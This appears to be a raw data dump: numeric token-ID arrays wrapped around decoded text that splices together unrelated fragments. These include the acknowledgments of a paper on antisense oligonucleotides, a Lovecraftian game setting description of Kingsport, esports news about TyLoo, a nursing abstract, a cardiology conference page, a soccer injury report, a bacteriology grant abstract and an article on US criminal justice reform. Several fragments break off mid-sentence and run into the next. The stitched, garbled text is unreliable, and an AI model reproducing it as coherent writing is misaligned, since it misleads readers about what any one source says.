[ 904, 322, 15, 46, 904, 285, 401, 15, 43, 15, 187, 187, 14044, 37693, 273, 9535, 1712, 1704, 23, 94, 187, 18613, 187, 187, 34, 15, 52, 904, 322, 15, 46, 904, 353, 15, 41, 904, 308, 15, 53, 904, 416, 15, 44, 15, 285, 401, 15, 43, 15, 403, 16, 12796, 6171, 273, 5466, 25523, 18033, 33367, 708, 2434, 15, 611, 40, 313, 23092, 48915, 13, 6176, 481, 380, 1551, 273, 253, 4477, 11165, 642, 11771, 6284, 15, 187, 187, 38338, 8339, 1712, 1212, 1704, 19, 94, 187, 15489, 187, 187, 14500, 7335, 15, 27476, 322, 18, 285, 322, 19, 13, 5270, 322, 18, 13, 285, 41749, 13277, 14500, 322, 19, 15, 14108, 5043, 41749, 8339, 187, 187, 1552, 789, 369, 4516, 407, 346, 1845, 32374, 85, 1206, 1392, 1063, 6912, 1808, 3, 313, 35, 4071, 261, 2706, 401, 34267, 25190, 14996, 78, 346, 23270, 14, 3807, 443, 13589, 1451, 29588, 3, 313, 24444, 39253, 558, 4098, 46789, 59, 378, 6527, 14, 1010, 1762, 14, 15017, 481, 844, 5717, 4716, 1063, 48855, 313, 9709, 6121, 13, 6176, 10, 323, 26604, 5277, 441, 342, 253, 36225, 1341, 13002, 247, 6521, 21575, 26, 14100, 14, 3721, 35, 30960, 12726, 18242, 15, 844, 671, 5717, 22707, 388, 2388, 88, 22369, 285, 4200, 11825, 13675, 620, 323, 7126, 7681, 1329, 15, 187, 187, 38338, 8339, 476, 320, 1119, 3909, 387, 654, 3614, 1358, 14369, 15, 2061, 16, 740, 15, 37524, 16, 75, 15, 297, 14543, 15, 9638, 15, 2125, 15, 12058, 13208, 187, 187, 5180, 18, 5218, 3315, 7025, 403, 1416, 273, 7412, 48, 13, 7959, 4865, 3425, 13, 1899, 327, 7959, 13, 7412, 48, 2978, 347, 973, 347, 7412, 48, 3425, 285, 11237, 27, 418, 1322, 47251, 285, 16, 263, 43734, 837, 900, 366, 313, 3458, 481, 8801, 14, 6160, 7412, 17174, 313, 41, 10, 347, 973, 347, 2831, 14, 31708, 7412, 17174, 12262, 1097, 13, 1966, 285, 24599, 475, 47, 5077, 18, 11, 313, 25695, 582, 497, 4236, 15, 187, 25046, 4126, 273, 253, 24909, 27, 187, 23375, 4267, 187, 187, 36, 394, 335, 11917, 5887, 2013, 316, 8464, 187, 187, 44, 723, 631, 187, 187, 16395, 456, 327, 253, 14070, 16838, 247, 1643, 6574, 6146, 273, 45354, 13, 20567, 631, 310, 816, 247, 1652, 625, 685, 1264, 6574, 32253, 273, 17207, 14012, 3964, 15, 187, 187, 510, 2846, 310, 15178, 1070, 275, 247, 11636, 14, 13824, 9454, 326, 2349, 343, 5005, 20567, 631, 28670, 15, 1916, 253, 6146, 22844, 247, 2962, 273, 33848, 44122, 326, 27798, 366, 275, 253, 45639, 3184, 27574, 273, 20567, 631, 12318, 15, 1916, 253, 8935, 285, 6420, 403, 247, 1180, 273, 19607, 15, 380, 6253, 13, 1925, 8170, 7061, 13, 310, 253, 8184, 273, 20567, 631, 457, 84, 1711, 33163, 272, 3216, 15, 3771, 689, 247, 13915, 562, 281, 6150, 8696, 253, 8911, 1720, 832, 13, 4907, 846, 253, 16824, 8451, 432, 534, 1142, 20567, 33187, 10711, 616, 38408, 15, 831, 8312, 43544, 24696, 20567, 631, 457, 84, 40661, 432, 253, 25205, 14847, 10212, 15, 187, 187, 510, 10198, 273, 20567, 631, 403, 6891, 285, 25072, 13, 37871, 16624, 314, 949, 253, 19607, 281, 830, 247, 5188, 44960, 273, 9130, 2223, 2834, 281, 24171, 15, 388, 15011, 403, 24982, 387, 512, 2308, 285, 14636, 13, 1308, 382, 1981, 327, 253, 19607, 1487, 285, 12868, 253, 7423, 5811, 15, 43275, 9195, 285, 9910, 403, 16088, 1711, 13, 3782, 275, 253, 21520, 273, 8170, 7061, 285, 2112, 253, 6146, 16838, 273, 253, 22754, 15, 6676, 3522, 896, 281, 253, 4260, 14, 339, 2254, 14860, 5331, 15, 31742, 45, 3288, 452, 4425, 281, 17049, 14532, 891, 14, 43174, 17595, 262, 1050, 13, 347, 597, 5082, 626, 452, 2217, 673, 281, 16270, 48175, 281, 253, 1982, 323, 444, 1843, 2696, 6028, 604, 597, 11612, 253, 27485, 2362, 15, 187, 187, 1909, 253, 20721, 273, 253, 5628, 4426, 5425, 323, 14532, 891, 14, 43174, 17595, 262, 1050, 13, 534, 310, 873, 281, 1379, 1659, 432, 2552, 655, 14, 1423, 13, 308, 43621, 4985, 497, 6326, 281, 4288, 281, 611, 28017, 275, 767, 3618, 281, 1379, 629, 275, 253, 370, 2313, 13, 933, 4314, 14, 22035, 14811, 15, 187, 187, 6436, 13, 347, 14532, 891, 14, 43174, 17595, 262, 1050, 310, 2810, 281, 253, 1265, 273, 444, 1843, 2696, 6028, 434, 5901, 378, 313, 453, 39643, 253, 5628, 13, 15753, 49, 13, 443, 19, 285, 12605, 53, 280, 582, 308, 43621, 4985, 5082, 626, 452, 2217, 673, 281, 4044, 48175, 281, 253, 1982, 604, 597, 497, 281, 8041, 253, 27485, 2362, 15, 187, 187, 31742, 45, 3288, 18384, 598, 323, 616, 3761, 342, 418, 6059, 11108, 187, 187, 31742, 45, 3288, 4425, 281, 10687, 432, 14532, 891, 14, 43174, 17595, 262, 1050, 187, 187, 55, 40, 15, 25385, 589, 59, 257, 497, 806, 275, 1386, 281, 8171, 731, 347, 253, 1273, 14, 26248, 2285, 273, 253, 4426, 5425, 13, 533, 597, 13072, 253, 21558, 13, 534, 2097, 253, 6308, 2427, 281, 28810, 4683, 8726, 313, 10002, 4845, 2626, 10, 3185, 15, 187, 187, 510, 2285, 1618, 323, 14532, 891, 14, 43174, 17595, 262, 1050, 310, 1563, 27, 187, 187, 7084, 891, 14, 43174, 17595, 262, 1050, 13, 534, 588, 452, 370, 2313, 13, 933, 327, 253, 1386, 13, 588, 1379, 1659, 275, 611, 28017, 13, 17111, 432, 2552, 655, 14, 1423, 15, 60, 47, 2244, 272, 7211, 1570, 187, 34, 303, 272, 387, 690, 38255, 275, 15929, 7211, 13, 253, 4477, 1804, 247, 1643, 22429, 327, 849, 281, 3630, 731, 15, 831, 38255, 651, 1361, 15929, 3484, 7635, 529, 483, 253, 2644, 15929, 2086, 15, 26954, 985, 10498, 27241, 187, 187, 26954, 310, 253, 2022, 629, 273, 9921, 10620, 342, 7915, 20619, 390, 43280, 272, 285, 9360, 273, 253, 28367, 285, 6551, 15, 28367, 310, 271, 1774, 27602, 1963, 326, 29131, 2614, 281, 253, 2133, 3066, 9682, 2473, 985, 15, 45124, 326, 403, 908, 281, 1555, 512, 253, 9360, 275, 2133, 452, 247, 1270, 3486, 327, 2798, 8479, 2710, 10021, 2538, 15, 3813, 13, 1083, 5012, 327, 6578, 285, 10177, 5263, 452, 247, 1270, 8453, 285, 1361, 275, 2440, 285, 26441, 273, 1971, 8130, 15, 657, 5670, 8059, 390, 2581, 512, 27691, 273, 5900, 1497, 1361, 275, 23245, 13, 378, 14, 19, 14, 35, 7832, 272, 875, 8371, 6433, 285, 12440, 15, 187, 187, 29594, 441, 387, 187, 187, 1785, 34274, 323, 368, 187, 187, 21056, 187, 187, 2402, 187, 187, 17835, 187, 187, 10504, 187, 187, 7474, 187, 187, 17745, 13420, 187, 187, 6067, 8404, 3327, 566, 187, 187, 14897, 1320, 11981, 187, 187, 3463, 41863, 323, 253, 8059, 368, 4098, 9214, 281, 24295, 316, 5901, 281, 10440, 13, 3085, 390, 1924, 285, 897, 634, 1416, 13, 2078, 8098, 13, 2460, 13, 4318, 285, 5701, 285, 281, 15452, 13, 18302, 13, 10738, 13, 16969, 13, 10675, 13, 12921, 285, 16, 263, 6670, 907, 253, 4795, 3888, 285, 4753, 275, 16516, 13, 12089, 4753, 13, 390, 275, 667, 643, 830, 11762, 1293, 10963, 15, 21525, 273, 15928, 285, 16, 263, 45917, 15609, 1309, 667, 6874, 310, 19772, 15, 22373, 441, 323, 667, 19241, 15, 52, 1539, 20152, 2354, 13, 34280, 15, 1108, 5003, 7924, 7565, 371, 1582, 26762, 29271, 44950, 723, 13368, 247, 5547, 5869, 281, 8706, 247, 1029, 14, 1164, 282, 653, 1949, 285, 47779, 5713, 3627, 327, 8216, 4131, 15, 380, 1791, 4975, 369, 12321, 275, 271, 7343, 387, 1728, 285, 588, 2779, 1978, 253, 9251, 14990, 757, 26762, 562, 273, 2250, 323, 577, 14, 23, 2607, 15, 187, 187, 510, 5199, 369, 2684, 407, 3196, 15, 7727, 25498, 282, 285, 3196, 15, 26876, 24010, 387, 322, 12216, 4775, 275, 15939, 9182, 15, 187, 187, 36, 20440, 723, 13, 2030, 13, 6704, 342, 253, 7565, 371, 1582, 327, 3344, 15, 818, 13, 4240, 15, 754, 556, 2456, 5249, 18655, 323, 253, 37783, 3313, 2285, 15, 380, 37783, 3228, 7925, 556, 2568, 281, 4735, 275, 247, 3761, 436, 2952, 1955, 281, 42346, 9001, 617, 15298, 5869, 15, 1147, 310, 253, 4388, 273, 253, 1263, 281, 448, 974, 254, 907, 2007, 253, 1846, 4901, 13385, 451, 11611, 285, 697, 1794, 9522, 8453, 13, 3782, 342, 2743, 281, 697, 1896, 897, 347, 271, 2984, 2646, 323, 6055, 1411, 5066, 407, 29975, 14, 12373, 9574, 9628, 253, 11611, 15, 380, 6380, 1453, 273, 6582, 3275, 285, 253, 2984, 39873, 273, 253, 6582, 14, 28916, 8709, 588, 320, 5421, 2007, 970, 7418, 15396, 15, 380, 45169, 2538, 273, 5541, 44289, 35679, 7011, 432, 6582, 14, 9603, 285, 6582, 14, 615, 738, 422, 15396, 588, 320, 2429, 15, 380, 16294, 2538, 273, 6658, 432, 2710, 5893, 3417, 327, 14170, 273, 5541, 44289, 35679, 281, 21564, 287, 291, 265, 588, 320, 5867, 15, 36999, 33145, 342, 4236, 2984, 7736, 8709, 285, 15396, 273, 4901, 13385, 74, 20448, 588, 320, 4824, 562, 275, 253, 17876, 13, 285, 253, 6658, 285, 1980, 7026, 2380, 4080, 407, 7492, 356, 23897, 1515, 13, 11686, 10601, 5853, 13, 285, 9480, 26611, 15, 510, 1986, 2077, 25793, 684, 697, 7815, 387, 247, 2169, 2281, 685, 667, 643, 2586, 275, 253, 1533, 13, 533, 689, 253, 2469, 1643, 1107, 13, 627, 457, 84, 4720, 644, 690, 4780, 15, 44726, 273, 38886, 452, 4720, 13207, 281, 10343, 13, 6571, 1955, 281, 28110, 2544, 1160, 275, 13439, 3054, 751, 5002, 13, 1457, 8911, 13, 285, 1457, 2816, 15, 4794, 281, 367, 999, 3976, 7116, 10215, 84, 13, 6782, 38886, 556, 13072, 2145, 2558, 1580, 697, 5241, 275, 5215, 13, 432, 337, 275, 2233, 281, 337, 275, 11343, 15, 4683, 2282, 13, 436, 4780, 310, 13699, 407, 10053, 3778, 285, 521, 5286, 27, 380, 4007, 556, 417, 760, 12316, 281, 9838, 3409, 247, 1048, 14, 483, 14151, 2746, 281, 6424, 8426, 13, 344, 457, 84, 671, 1160, 9069, 35015, 13, 665, 6556, 12014, 47160, 456, 6849, 13, 521, 6834, 2087, 15, 380, 767, 273, 731, 403, 13828, 247, 4836, 3490, 281, 1263, 12338, 6617, 1128, 5747, 253, 958, 326, 352, 457, 84, 2168, 387, 14464, 1698, 84, 1128, 395, 403, 26400, 281, 2770, 5300, 327, 2854, 7281, 1241, 285, 2854, 897, 15, 1583, 1646, 3413, 281, 1091, 253, 4400, 2208, 281, 253, 10458, 14, 251, 14, 44460, 8685, 273, 253, 9178, 84, 285, 7901, 84, 13, 253, 4898, 273, 253, 2137, 327, 5835, 15, 187, 187, 1989, 6424, 8426, 8460, 310, 1335, 37655, 3579, 1128, 395, 253, 10254, 310, 8127, 3551, 432, 28963, 13, 2444, 275, 616, 1375, 13001, 15, 380, 11518, 1083, 323, 8460, 310, 4755, 27, 2101, 1946, 25866, 273, 8918, 327, 5754, 7466, 285, 24585, 14683, 310, 36761, 285, 18860, 15, 1244, 253, 1375, 1268, 310, 835, 8460, 588, 320, 253, 954, 3576, 1128, 783, 5020, 273, 952, 403, 44099, 275, 1375, 2718, 15, 4410, 32578, 326, 1180, 7729, 3054, 6654, 616, 35905, 13, 753, 21536, 410, 13051, 13, 4007, 273, 20958, 323, 18731, 285, 8293, 13, 247, 6424, 8426, 8460, 6003, 326, 12127, 327, 6617, 10349, 15, 773, 22262, 2107, 7563, 3237, 1599, 326, 10159, 273, 665, 457, 84, 275, 253, 5219, 3995, 13, 544, 50055, 8426, 62, 310, 1469, 281, 4035, 281, 320, 247, 33567, 2523, 323, 8460, 1425, 187, 187, 3848, 18415, 19544, 13, 19041, 6423, 273, 10154, 327, 23325, 13, 247, 11518, 1387, 7106, 327, 6424, 8426, 8460, 13, 32457, 436, 21942, 27, 773, 3404, 253, 1375, 1268, 13, 8839, 2717, 556, 4391, 15, 1310, 2712, 13, 544, 250, 630, 556, 62, 5055, 598, 15401, 247, 1652, 1425, 187, 187, 3404, 253, 1375, 5967, 275, 16916, 13, 6112, 13, 19544, 285, 521, 11518, 20706, 13, 3977, 407, 253, 6112, 5259, 11981, 6807, 13, 310, 43243, 323, 5593, 326, 588, 4796, 38886, 4142, 15, 2596, 6007, 597, 457, 69, 751, 281, 1509, 651, 823, 625, 19993, 4999, 36259, 281, 253, 4936, 4984, 1232, 15, 8035, 651, 294, 2437, 1419, 2176, 2854, 11664, 19844, 347, 6550, 329, 34945, 15719, 641, 1128, 30407, 690, 1698, 14, 5251, 2854, 33815, 651, 4763, 19077, 2581, 685, 12907, 673, 15, 329, 2626, 2557, 651, 7164, 253, 2363, 273, 6424, 8294, 432, 1722, 281, 1283, 13, 534, 651, 1581, 1722, 14, 2913, 14, 3502, 281, 5752, 616, 673, 275, 20962, 9189, 2581, 685, 342, 7747, 15, 187, 187, 36179, 310, 581, 273, 2067, 2502, 3054, 13, 2112, 342, 12096, 13, 18370, 13, 18531, 13, 17360, 13, 285, 3684, 9756, 13, 326, 556, 8671, 247, 2491, 273, 13439, 21823, 275, 253, 2469, 9976, 15, 6112, 457 ]

., S.M., and F.J. Conflicts of Interest {#sec6} ===================== A.S., S.M., M.H., T.T., R.K. and F.J. are/were employees of Secarna Pharmaceuticals & Co. KG (Planegg, Germany). The rest of the authors declare no competing interests. Supplemental Information {#appsec2} ======================== Document Sl. Figures S1 and S2, Table S1, and Supplemental MethodsDocument S2. Article plus Supplemental Information This work was supported by "Projektträger Bayern" (Bayerisches Forschungsprogramm "Bio- und Gentechnologie" (BayBIO); grant FKZ BIO-1505-0004). We thank Holger Garn (Marburg, Germany) for kindly providing us with the HEK cells expressing a mouse TLR9 NF-кB luciferase reporter plasmid. We also thank Lisa Hinterwimmer and Monika Schell for excellent technical support. Supplemental Information can be found online at <https://doi.org/10.1016/j.omtn.2019.04.018>. [^1]: Depicted are name of ASO, mRNA binding sequence, position on mRNA, ASO length as well as ASO sequence and modification: LNA (+) and/or phosphorothioate (\*). Human-specific ASOs (H) as well as cross-reactive ASOs targeting both, human and murine *NPC1* (HM), were selected. Campaign of the Month: November 2010 Cthulhu Supremus Est Kingsport Located on the Massachusetts shore a few miles north of Salem, Kingsport is just a little more than three miles southeast of downtown Arkham. The city is nestled in a bowl-shaped depression that encircles Kingsport Harbor. To the north rises a series of rocky cliffs that culminate in the dizzying heights of Kingsport Head. To the west and south are a number of hills. The largest, called Central Hill, is the sight of Kingsport’s old burying ground. Just over a mile out to sea lies the Jersey Reef, named after the Channel Island from which many Kingsporters trace their ancestry. This dangerous reef protects Kingsport’s shores from the devastating Atlantic waves. The streets of Kingsport are narrow and winding, twisting steeply through the hills to form a labyrinth of pathways often difficult to navigate. Houses are stacked at all levels and angles, bristling on the hillsides and filling the hallows. Numerous buildings and houses are incredibly old, particularly in the vicinity of Central Hill and along the north shore of the harbor. Many date back to the mid-seventeenth century.TyLoo have decided to skip SL i-League Invitational, as they wouldn't have enough time to acquire visas to the US for ELEAGUE if they attended the Ukrainian event. As the winners of the Chinese qualifier for SL i-League Invitational, which is set to take place from May 19-22, TYLOO were supposed to travel to Kiev in two weeks to take part in the $100,000 eight-team tournament. However, as SL i-League Invitational is close to the start of ELEAGUE's Group B (featuring the Chinese, NiP, G2 and OpTic), TYLOO wouldn't have enough time to obtain visas to the US if they were to attend the Ukrainian event. TyLoo warming up for their match with Luminosity TyLoo decided to withdraw from SL i-League Invitational VG.CyberZen were first in line to replace them as the second-placed team of the qualifier, but they declined the invitation, which means the spot went to Born Of Fire (who placed third) instead. The team list for SL i-League Invitational is following: SL i-League Invitational, which will have $100,000 on the line, will take place in Kiev, Ukraine from May 19-22.[Nursing notes]. Aiming at some uniformity in nursing notes, the authors suggest a few norms on how to write them. This uniformity would help nursing students througout the whole nursing program.vascular system Case Reports vascular is the main part of medicine dealing with dysfunctions or malfunctioning and disorders of the valves and neuro. valves is an important muscular organ that pumps blood to the body via circulatory system. Drugs that are used to treat all the disorders in body have a great impact on heart causing various adverse effects. Therefore, case reports on diseases and cardiac arrest have a great significance and help in development and advancing of treatment strategies. Vascular conference or rather all conferences of cardiology help in networking, B-2-B partnering between academicians and professionals. Mail us at Recommended for you Contact Name Email Phone Message Captcha Our Social Presence Authorization Policy By registering for the conference you grant permission to pulsus Group to photograph, film or record and use your name, likeness, image, voice and comments and to publish, reproduce, exhibit, distribute, broadcast, edit and/or digitize the resulting images and materials in publications, advertising materials, or in any other form worldwide without compensation. Taking of photographs and/or videotaping during any session is prohibited. Contact us for any queries.SAN JOSE, Calif. – San Jose Earthquakes defender Harold Cummings underwent a successful surgery to repair a high-ankle sprain and fractured fibula on Thursday morning. The leg injury was sustained in an accident at home and will likely keep the Panamanian defender out of action for 4-6 months. The procedure was performed by Dr. Richard Gayle and Dr. Nicholas Todd at Sutter Health in Mountain View. Cummings, 25, signed with the Earthquakes on Jan. 7, 2017. He has 50 career appearances for the Panama National team. The Panama City native has yet to feature in a match this season due to offseason sports hernia surgery.It is the aim of the study to chracterize further the common enterobacterial antigen and its biologic significance, particularly with regard to its possible use as an immunogen for protection against infection by gram-negative bacteria sharing the antigen. The genetic control of CA production and the immunogenicity of the CA-producing strains will be studied further using numerous mutants. The immunosuppressive effects of lipopolysaccharides isolated from CA- producing and CA-defective mutants will be compared. The inhibitory effects of serum from various animal species on attachment of lipopolysaccharides to erythroctes will be analyzed. Oral immunization with selected immunogenic strains and mutants of enterobacteriaceae will be carried out in the rabbit, and the serum and local immune response measured by hemagglutination, indirect FA technique, and gel precipitation.The United States incarcerates its citizens at a higher rate than any other country in the world, but over the past few years, there’s finally been some progress. Rates of incarceration have finally begun to decline, mostly due to sweeping changes made in progressive states like California, New Jersey, and New York. According to Pew Charitable Trusts, adult incarceration has declined 13 percent since its peak in 2007, from 1 in 100 to 1 in 115. Of course, this progress is threatened by Donald Trump and his administration: The president has not only promised to reinstate a long-outdated approach to criminal justice, he’s also made Jeff Sessions, who holds similarly antiquated views, his attorney general. The two of them are preparing a task force to study violent crime— despite the fact that it’s already at historic lows—and are aiming to focus resources on drug cartels and drug use. They seem determined to return the federal government to the tough-on-crime era of the 1980s and 1990s, the height of the war on drugs. But criminal justice reform is still marching forward—and the momentum is largely coming from conservatives, working in their state governments. The conservative case for reform is obvious: Spending billions of dollars on prison expansion and lengthy sentences is outdated and ineffective. And the state level is where reform will be the most effective—the majority of people are incarcerated in state systems. Reducing that number helps states balance their budgets, said Lenore Anderson, president of Alliance for Safety and Justice, a criminal justice reform organization that centers on crime victims. “Continued budget problems mean that regardless of who’s in the White House, [criminal justice] is going to continue to be a ripe issue for reform.” Derek Cohen, deputy director of Right on Crime, a conservative group focused on criminal justice reform, echoed this sentiment: “At the state level, absolutely nothing has changed. If anything, [reform has] picked up steam a little.” At the statehouse in Austin, Texas, Cohen and his conservative coalition, led by the Texas Public Policy Foundation, is advocating for measures that will reduce incarceration rates. One bill they’d like to pass would add more procedural safeguards to the grand jury process. Another would reclassify certain drug felonies as Class A misdemeanors—meaning some low-level drug offenders would receive probation rather than jail time. A third measure would raise the age of criminal responsibility from 17 to 18, which would allow 17-year-olds to serve their time in juvenile facilities rather than with adults. Texas is one of several red states, along with Georgia, Kentucky, Mississippi, Oklahoma, and South Carolina, that has adopted a range of progressive initiatives in the past decade. Texas’

[ 1392, 12271, 28544, 327, 39939, 257, 8729, 3599, 30436, 340, 28993, 14899, 15, 25624, 5021, 465, 797, 3288, 340, 45161, 32617, 728, 32567, 15959, 396, 5650, 580, 507, 66, 278, 928, 257, 5985, 2966, 30997, 13, 3641, 23187, 278, 447, 396, 5650, 580, 8765, 74, 268, 15175, 555, 90, 15, 187, 187, 44, 86, 2788, 1920, 893, 619, 2381, 3296, 1222, 9664, 716, 19719, 2301, 75, 472, 1914, 17069, 22289, 355, 1945, 343, 75, 1952, 45988, 427, 536, 451, 893, 27723, 312, 505, 16189, 1111, 47130, 86, 2955, 5104, 661, 1479, 2381, 29045, 13, 480, 5503, 3599, 412, 34163, 3371, 384, 25725, 15, 657, 10986, 256, 4692, 66, 13, 20463, 9664, 340, 9866, 15175, 344, 770, 1392, 570, 561, 1392, 465, 23988, 16288, 1135, 284, 360, 1342, 465, 1164, 76, 335, 266, 16288, 400, 3508, 15, 187, 187, 1253, 9664, 47657, 601, 74, 16288, 484, 24968, 2301, 75, 26499, 6362, 8729, 327, 1465, 2381, 6421, 1440, 6841, 1767, 4137, 4034, 30687, 386, 267, 483, 893, 963, 2381, 620, 382, 18453, 36383, 1392, 340, 965, 11737, 700, 402, 297, 7080, 8727, 26243, 6356, 249, 49635, 37936, 249, 7846, 74, 15, 19954, 21040, 2301, 75, 26499, 8727, 13, 3599, 412, 2, 473, 1059, 1045, 1392, 76, 413, 27544, 4137, 297, 17062, 7897, 404, 8712, 13, 256, 3230, 37707, 8939, 350, 74, 500, 9608, 8498, 257, 15, 187, 187, 6961, 15, 12167, 3599, 412, 298, 2381, 1767, 15175, 1484, 438, 292, 419, 4740, 43166, 281, 261, 1862, 8429, 12901, 6429, 522, 455, 12354, 15, 4798, 451, 39198, 716, 2205, 45161, 2381, 21123, 10981, 268, 1278, 4530, 66, 313, 9245, 343, 610, 85, 281, 885, 257, 5796, 652, 86, 328, 10, 46276, 3024, 716, 3696, 862, 74, 333, 661, 1479, 17685, 3371, 384, 1432, 8765, 74, 15, 346, 8677, 30436, 8485, 86, 26171, 327, 3371, 384, 5781, 21123, 1344, 266, 3483, 571, 66, 6429, 647, 1342, 7675, 536, 266, 716, 3696, 862, 74, 333, 45161, 2381, 22516, 995, 44130, 414, 296, 728, 32567, 15959, 20017, 287, 893, 266, 15, 187, 187, 16880, 6077, 22616, 246, 2880, 85, 1392, 21380, 45994, 18889, 247, 2804, 5741, 826, 1432, 290, 5781, 632, 1479, 16713, 303, 39078, 507, 66, 473, 339, 44316, 6429, 29496, 266, 4014, 4698, 76, 2610, 4002, 15, 187, 187, 43017, 1344, 266, 268, 31923, 22616, 18889, 5580, 39198, 26243, 76, 2381, 267, 24470, 1479, 4530, 465, 19014, 3599, 412, 6077, 34163, 6429, 647, 1342, 402, 321, 303, 1342, 465, 6841, 5134, 14750, 1392, 90, 45161, 17685, 480, 1368, 69, 30797, 43579, 6429, 384, 580, 25445, 9664, 14302, 13, 2985, 1392, 39939, 383, 1392, 247, 1479, 3230, 266, 458, 400, 28205, 249, 480, 20414, 35926, 48238, 8727, 45641, 13865, 5309, 384, 1432, 5781, 15, 187, 187, 1253, 18559, 26243, 1767, 32617, 45079, 5580, 4631, 571, 13, 4784, 1392, 45079, 8919, 282, 292, 13, 22616, 4927, 249, 1392, 544, 43017, 10981, 66, 62, 340, 282, 2188, 38083, 7239, 25871, 15, 388, 6841, 327, 256, 400, 5650, 614, 6077, 288, 4113, 377, 484, 66, 20592, 8727, 13, 28230, 729, 3750, 7699, 3288, 15, 187, 187, 24534, 249, 27082, 6584, 20626, 41405, 278, 466, 2955, 282, 427, 536, 757, 480, 1368, 69, 30797, 15, 11198, 1392, 81, 1392, 826, 307, 266, 278, 466, 2955, 282, 13, 480, 1368, 251, 3599, 412, 427, 536, 757, 465, 6841, 5134, 76, 2381, 29074, 5765, 9720, 32, 187, 187, 1253, 322, 4002, 27082, 6584, 30287, 251, 28074, 15, 1023, 288, 2788, 76, 4113, 479, 1820, 15, 50, 27, 187, 187, 2347, 281, 1056, 253, 26445, 966, 1072, 347, 253, 3939, 966, 187, 187, 4943, 310, 253, 47121, 27, 3944, 1358, 43265, 15, 3024, 16, 483, 15656, 75, 20, 68, 16, 19, 16, 187, 15597, 27, 187, 29, 335, 966, 568, 78, 2428, 14, 11746, 1138, 187, 50274, 29, 965, 31, 187, 50270, 29, 66, 3860, 568, 5264, 9072, 31, 18686, 870, 9072, 3073, 66, 31, 187, 50274, 870, 965, 31, 187, 50274, 29, 965, 31, 187, 50270, 29, 66, 3860, 20679, 966, 568, 4507, 5264, 9072, 31, 10572, 441, 870, 9072, 3073, 66, 31, 187, 50274, 870, 965, 31, 187, 50274, 29, 965, 31, 187, 50270, 29, 66, 3860, 37387, 654, 9072, 31, 10572, 441, 870, 9072, 3073, 66, 31, 187, 50274, 870, 965, 31, 187, 870, 335, 31, 187, 187, 42, 651, 751, 8385, 342, 767, 1841, 27, 187, 187, 2347, 476, 309, 4055, 253, 2505, 28446, 534, 8495, 84, 342, 253, 14150, 187, 2347, 476, 309, 1056, 253, 26445, 966, 1072, 347, 253, 3939, 966, 187, 187, 34, 27, 187, 187, 42, 2335, 253, 17843, 273, 294, 14, 17695, 326, 16710, 15, 187, 2413, 1358, 43265, 15, 3024, 16, 483, 15656, 75, 20, 68, 16, 24, 16, 313, 49539, 253, 2127, 10, 187, 2915, 92, 187, 50274, 11814, 27, 1852, 37, 1703, 1703, 38, 28, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 92, 187, 50274, 3550, 14, 4826, 14, 881, 27, 5293, 28, 187, 50274, 3429, 27, 1052, 3498, 28, 187, 50274, 15456, 27, 470, 3498, 28, 187, 50274, 17333, 27, 470, 3498, 28, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 92, 187, 50274, 8412, 27, 2972, 28, 187, 50274, 15456, 14, 10492, 27, 337, 3498, 28, 187, 50274, 11814, 27, 1852, 45231, 28, 50274, 187, 50274, 1156, 14, 16702, 27, 4627, 41810, 28, 187, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 92, 187, 50274, 17333, 27, 470, 3498, 1384, 3498, 28, 187, 50274, 1282, 14, 7436, 27, 2456, 3498, 28, 187, 50274, 1156, 14, 43101, 27, 5293, 28, 187, 50274, 8412, 27, 2972, 28, 187, 50274, 3321, 27, 4103, 28, 187, 50274, 4897, 27, 1852, 16742, 28, 187, 50274, 15456, 14, 1274, 27, 470, 3498, 28, 187, 50274, 15456, 14, 918, 27, 470, 3498, 28, 2490, 50274, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 80, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 983, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 24024, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 187, 50274, 14, 20726, 14, 25974, 27, 3295, 7469, 983, 4872, 28, 50276, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 15, 4507, 13, 12130, 15, 78, 2428, 14, 11746, 632, 247, 27, 22424, 92, 187, 50272, 14224, 14, 1274, 27, 577, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 14224, 14, 918, 27, 577, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 50276, 187, 50272, 15456, 14, 1274, 27, 428, 21, 3498, 28, 187, 50272, 15456, 14, 918, 27, 428, 21, 3498, 28, 187, 50272, 4897, 27, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 3364, 14, 84, 3006, 27, 5680, 14, 3364, 28, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 15, 4507, 27, 9131, 13, 12130, 15, 78, 2428, 14, 11746, 632, 247, 27, 22424, 27, 9131, 92, 187, 50272, 6071, 27, 29707, 187, 50272, 3321, 27, 7880, 28, 187, 50272, 3956, 27, 5976, 10543, 187, 50272, 1274, 27, 470, 28, 187, 50272, 14224, 14, 1274, 27, 608, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 14224, 14, 3956, 27, 608, 3498, 4891, 13955, 28, 187, 50272, 14224, 14, 10492, 27, 608, 3498, 4891, 13955, 28, 50274, 187, 94, 187, 187, 335, 15, 78, 2428, 14, 11746, 632, 247, 15, 4507, 27, 6438, 13, 12130, 15, 78, 2428, 14, 11746, 632, 247, 27, 22424, 27, 6438, 92, 187, 50272, 6071, 27, 29707, 187, 50272, 3321, 27, 7880, 28, 187, 50272, 3956, 27, 5976, 10543, 187, 50272, 918, 27, 470, 28, 187, 50272, 14224, 14, 918, 27, 608, 3498, 4891, 1852, 70, 2251, 70, 1423, 28, 187, 50272, 14224, 14, 3956, 27, 608, 3498, 4891, 13955, 28, 187, 50272, 14224, 14, 10492, 27, 608, 3498, 4891, 13955, 28, 209, 187, 94, 535, 34021, 353, 15, 3697, 868, 4940, 22827, 15, 187, 187, 34021, 3189, 1321, 3697, 868, 4940, 22827, 15, 42744, 5080, 3435, 13, 44728, 50276, 1253, 4437, 1884, 13, 18417, 10, 369, 271, 2448, 24072, 665, 10256, 387, 17330, 2499, 13, 45200, 2675, 2892, 285, 10106, 2892, 15, 754, 369, 247, 39935, 39233, 12720, 665, 21198, 2144, 5997, 313, 10328, 347, 5054, 11528, 285, 7344, 875, 2136, 3767, 285, 14768, 10, 285, 1066, 35293, 25680, 